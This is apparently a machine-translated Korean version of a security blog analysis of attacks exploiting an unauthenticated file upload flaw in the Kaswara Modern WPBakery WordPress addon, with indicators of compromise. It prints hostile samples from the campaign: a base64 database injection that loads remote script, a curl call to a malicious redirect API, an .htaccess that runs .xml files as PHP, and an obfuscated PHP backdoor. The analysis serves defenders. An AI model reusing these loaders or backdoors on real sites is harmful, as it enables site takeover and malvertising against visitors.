취약한 Kaswara Modern WPBakery Page Builder 애드온 플러그인이 야생에서 악용되고 있습니다.
게시 됨: 2021-06-082021년 4월 20일에 WPScan의 친구들은 Kaswara Modern WPBakery Page Builder Addons라고도 하는 Kaswara Modern VC Addons에 대한 심각한 취약점을 보고했습니다. Codecanyon/Envato에서는 더 이상 사용할 수 없습니다. 즉, 실행 중인 경우 대안을 선택해야 합니다.
이 취약점은 인증되지 않은 사용자가 플러그인의 아이콘 디렉토리(./wp-content/uploads/kaswara/icons)에 임의의 파일을 업로드할 수 있도록 합니다. 이것은 WPScan의 친구들이 보고서에서 우리와 공유한 첫 번째 IOC(Indicator Of Compromise)입니다.
임의의 파일을 웹사이트에 업로드할 수 있는 기능은 악의적인 사용자가 사이트를 완전히 제어할 수 있도록 하여 이 감염의 최종 페이로드를 정의하기 어렵게 만듭니다. 따라서 지금까지 발견한 모든 것을 보여드리겠습니다(연구에 약간 몰두해 있으므로 끝까지 읽고 싶지 않다면 IOC 섹션으로 자유롭게 이동하십시오).
데이터베이스 주입, 가짜 Android 앱 및 기타 백도어
이 공격에 사용된 데이터베이스 주입 후속 조치를 지적해 준 Sucuri의 친구 Denis Sinegubko에게 감사합니다.
악의적인 행위자는 'kaswara-customJS' 옵션을 업데이트하여 Javascript 코드의 임의의 악성 스니펫을 추가합니다. 다음은 우리가 찾은 한 가지 예입니다.
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
이 base64로 인코딩된 문자열은 다음으로 변환됩니다.
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
그리고 이러한 유형의 스크립트에서 일반적으로 발생하는 것처럼 일련의 다른 Javascript 코드 조각을 체인 로드하고 최종 페이로드는 악성 광고 또는 익스플로잇 킷이 됩니다. 이것은 Wordfence가 여기에 보고한 것과 매우 유사합니다.
이 경우 스크립트는 hxxp://double-clickd[.]com/에서 죽어가고 있으며 잘못된 콘텐츠를 로드하지 않습니다. 2020년 초부터 이 사이트를 호출하는 의심스러운 Javascript를 발견했으며 사람들은 2018년부터 이미 이 사이트를 차단하고 있습니다.
사이트에 업로드된 가짜 앱
우리가 조사한 웹사이트에서 발견된 40개의 Android 앱은 AliPay, PayPal, Correos, DHL 및 기타 여러 앱의 가짜 버전으로, 이 VirusTotal 분석에 따르면 운 좋게도 가장 인기 있는 안티바이러스 공급업체에서 감지했습니다.

나는 앱의 의도를 확인하지 않았지만 요청한 권한에 대한 간략한 검토를 통해 앱이 무엇을 할 수 있는지 엿볼 수 있습니다.
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.인터넷
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
그러나 이러한 파일은 Kaswara 익스플로잇을 사용하여 즉시 업로드되지 않습니다. 사이트가 손상된 후 공격자는 사이트를 완전히 제어하기 위해 먼저 다른 도구를 업로드합니다.
업로드된 파일
일부 백도어 및 기타 맬웨어는 이 취약점으로 인해 손상된 웹사이트에서도 발견되었습니다. 이 게시물에서 가장 인기 있고 흥미로운 것들에 대한 빠른 분석을 공유하겠습니다. 그러나 먼저 가장 복잡한 것에 초점을 맞추고 싶습니다.
리디렉션 및 가짜 앱
내가 감염된 여러 사이트에서 발견한 가짜 앱은 Kaswara 취약점을 악용하여 업로드되지 않았습니다. 공격자가 일부 원격 코드(URL 또는 문자열 제공)를 업로드하고 사용자를 악성 사이트로 리디렉션할 수 있는 다기능 hacktool을 사용하여 사이트에 업로드되고 있습니다.
다음 문자열이 있으면 파일을 쉽게 식별할 수 있습니다. base64_decode('MTIz');error_reporting(0);
기능
흥미롭게도 이것은 이것을 제외한 다른 모든 것을 무작위화합니다.
멀웨어는 한 줄에 있으며, 이러한 유형의 코드 이상을 찾고 있다면 흥미로운 IOC이기도 합니다.

이해를 돕기 위해 코드의 대부분을 디코딩하고 흥미로운 기능의 이름을 바꾸고 코드를 아름답게 했습니다. 악성코드는 6개의 다른 기능을 포함하고 있으며 그 중 5개는 $_GET['ts']
변수에 전달된 값을 기반으로 합니다. 이 문서에서는 내가 찾은 많은 인스턴스 중 하나인 c.php
를 살펴보겠습니다.

/c.php?ts=kt
이것은 아무 것도 하지 않으며 사이트가 500 오류를 반환하도록 합니다(나중에 코드에서).
/c.php?ts=1
$q1a
플래그 값을 true로 변경하여 코드 유효성 검사를 수행하고 공격자에게 OK 메시지를 출력합니다.
이 경우 원격 사이트는 다음과 같이 응답합니다. {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”코드”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
$_GET["v"]
$_GET["p"]
가 123 의 SHA1 체크섬( base64_decode('MTIz')
의 첫 번째 IOC 기억? 체크섬입니다).

/c.php?ts=tt
서버에 5MB의 "-"를 씁니다. 업로드 기능이 서버에서 작동하는지 테스트하는 데 사용됩니다.

/c.php?ts=dwm&h=HASH1,HASH2
맬웨어는 이 요청을 받으면 업로드된 파일이 서버에 성공적으로 기록되었는지 확인하는 테스트를 수행합니다. MD5 해시를 알고 있어야 하며 쉼표로 구분된 값으로 $_GET['h']
변수에 전송됩니다.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
일련의 타사 웹 사이트에서 파일을 다운로드하고 다운로드한 파일의 md5의 마지막 12자를 따서 이름을 지정하는 서버에 저장합니다.
가짜 앱을 서버에 업로드하는 데 사용되는 기능입니다.
다음은 /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697
파일 다운로드 요청의 예입니다.

액세스 리디렉션
kt
옵션이 선택되었거나 옵션이 선택되지 않은 경우 코드는 필요한 데이터가 포함된 JSON blob을 요청하여 수행되는 리디렉션으로 진행합니다. 그런 다음 헤더 기능을 사용하여 방문자를 리디렉션합니다.

응답은 다음과 같습니다. {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
필요한 매개변수로 cURL 요청을 실행하는 함수는 다음과 같습니다.
그리고 이 cURL 요청으로 번역될 수 있습니다.
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
최종 URL은 내가 테스트할 수 있는 한 무작위이지만 인기 있는 서비스 또는 앱의 가짜 페이지와 동일한 특성을 공유합니다.

wp-content/uploads/kaswara/icons/16/javas.xml 및 wp-content/uploads/kaswara/icons/16/.htaccess
XML 파일은 일반적으로 잠재적인 위협으로 표시되지 않지만 이 경우 웹 서버가 보는 방식을 변경하는 특수 제작된 .htaccess 파일이 있습니다.
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
실제로 Apache는 xml, php 또는 pdf가 포함된 모든 자바, 홈 또는 메뉴 파일을 PHP 파일로 이해하여 그에 따라 처리하고 실행하도록 지시합니다. 따라서 이 .htaccess와 동일한 디렉토리 구조에 있는 모든 파일은 의심스러울 것입니다.
javas.xml 파일은 사이트에 업로드된 다른 악성 파일과 동일합니다. 차이점은 일부 파일의 끝에 하나 또는 두 개의 빈 줄이 있기 때문에 기존 해싱이 조금 더 까다롭다는 것입니다.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
악성 코드는 str_rot13 및 base64로 인코딩된 문자열을 사용하여 난독화됩니다. 또한 16진수 값과 수학 연산을 사용하여 문자열을 조금 더 숨깁니다. 최종 페이로드는 POST 요청 값을 기반으로 함수를 생성하므로 알 수 없습니다. 그러나 페이로드는 생성하기 전에 md5 검사에 의존하기 때문에 매번 동일한 것으로 보입니다(c42ea979ed982c02632430e9e98a66d6은 md5 해시입니다).

결론
이것은 활성 캠페인이기 때문에 이 게시물을 작성하는 시점에서 우리는 영향을 받는 사이트에서 점점 더 다양한 맬웨어 예제가 삭제되고 있음을 발견하고 있습니다. 일부는 여기에 있는 것의 변형일 뿐이고 다른 일부는 더 깊은 분석을 위해 충분히 흥미롭습니다. 이러한 다른 예를 살펴보려면 곧 제공될 작은 게시물을 찾아보세요.
이것은 확장을 최신 보안 수정으로 업데이트하는 것의 중요성을 보여줍니다. 개발자가 수정 사항을 적시에 릴리스하지 않거나 WordPress.org 저장소(또는 다른 마켓플레이스)에서 제거되는 경우 더 안전한 대안을 찾는 것이 좋습니다.
사이트의 맬웨어 및 취약성이 우려되는 경우 Jetpack의 보안 기능을 확인하십시오. Jetpack Security는 백업, 맬웨어 검사 및 스팸 방지를 포함하여 사용하기 쉽고 포괄적인 WordPress 사이트 보안을 제공합니다.
타협의 지표
여기에서 우리가 식별한 모든 IOC의 전체 목록을 찾을 수 있습니다.
해시(SHA-1) | 길 | 위협 설명 |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | 가짜 안드로이드 앱 |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | 가짜 안드로이드 앱 |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | 가짜 안드로이드 앱 |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | 가짜 안드로이드 앱 |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | 가짜 안드로이드 앱 |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | 가짜 안드로이드 앱 |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | 가짜 안드로이드 앱 |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | 가짜 안드로이드 앱 |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | 가짜 안드로이드 앱 |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | 가짜 안드로이드 앱 |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | 가짜 안드로이드 앱 |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | 가짜 안드로이드 앱 |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | 가짜 안드로이드 앱 |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | 가짜 안드로이드 앱 |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | 가짜 안드로이드 앱 |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | 가짜 안드로이드 앱 |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436대 | 가짜 안드로이드 앱 |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | 가짜 안드로이드 앱 |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | 가짜 안드로이드 앱 |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | 가짜 안드로이드 앱 |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | 가짜 안드로이드 앱 |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | 가짜 안드로이드 앱 |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | 가짜 안드로이드 앱 |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | 가짜 안드로이드 앱 |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | 가짜 안드로이드 앱 |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | 가짜 안드로이드 앱 |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | 가짜 안드로이드 앱 |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | 가짜 안드로이드 앱 |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | 가짜 안드로이드 앱 |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | 가짜 안드로이드 앱 |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | 가짜 안드로이드 앱 |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | 가짜 안드로이드 앱 |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | 가짜 안드로이드 앱 |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | 가짜 안드로이드 앱 |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | 가짜 안드로이드 앱 |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | 가짜 안드로이드 앱 |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | 가짜 안드로이드 앱 |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | 가짜 안드로이드 앱 |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | 가짜 안드로이드 앱 |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | 가짜 안드로이드 앱 |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | 삭제된 멀웨어 |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | 삭제된 멀웨어 |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | PHP 파일 업로더 |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | 삭제된 멀웨어 |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | 원격 코드 실행 멀웨어 |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | 삭제된 멀웨어 |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | 삭제된 멀웨어 |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | 삭제된 멀웨어 |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | 삭제된 멀웨어 |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | 삭제된 멀웨어 |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | 삭제된 멀웨어 |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | 삭제된 멀웨어 |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | 삭제된 멀웨어 |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | 원격 코드 실행 멀웨어 |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | 삭제된 멀웨어 |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php 또는 ./wp-content/uploads/xeh02b.php | 삭제된 멀웨어 |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | 삭제된 멀웨어 |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | 원격 코드 실행 멀웨어 |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | 삭제된 멀웨어 |
wp-content/uploads/kaswara/icons/16/javas.xml | 원격 코드 실행 멀웨어 | |
– | smurfetta.ru | 악성 도메인 |
http://papass.ru | 악성 도메인 |